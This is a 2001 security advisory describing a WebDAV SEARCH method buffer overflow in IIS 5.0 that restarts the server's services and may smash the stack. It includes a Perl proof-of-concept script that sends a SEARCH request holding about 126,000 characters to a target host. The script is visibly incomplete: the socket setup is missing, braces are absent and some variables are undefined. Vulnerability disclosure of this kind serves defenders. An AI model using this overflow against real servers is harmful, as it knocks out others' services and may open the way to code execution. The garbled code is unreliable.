IIS 5.0 SEARCH method overflow

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Georgi Guninski security advisory #39, 2001

IIS 5.0 SEARCH method overflow

Systems affected:
IIS 5.0

Risk: Unknown, may be very serious
Date: 16 March 2001

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This may be a duplicate of my advisory #38 - http://www.guninski.com/iispropover.html
sorry if this is the case.
Microsoft did not answer my question whether it is the same issue.
By sending valid (not malformed :) ) but long SEARCH request to IIS 5.0 it is possible to
restart all IIS related services.

The interesting point is the stack seems to be smashed and I believe this may lead
to executing arbitrary code though I have not achieved it.

use IO::Socket;
printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n";
if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; }
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
$ll=$_[0]; #length of buffer
$over=$ch x $ll; #string to overflow
$xml='<?xml version="1.0"?><D:searchrequest xmlns:D="DAV:"><D:sql>SELECT DAV:displayname from SCOPE("'.$over.'")</D:sql></D:searchrequest>'."\n";
$req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
print ".";
print "r=".$res;
close $socket;
do  vv(126000,"V");
do  vv(126000,"V");
#Try 125000 - 128000 

Workaround: some of the revisions of MS01-16 solves this issue, yet I do not recommend using IIS in production environment.

Vendor status:
Microsoft was informed on 11 March 2001


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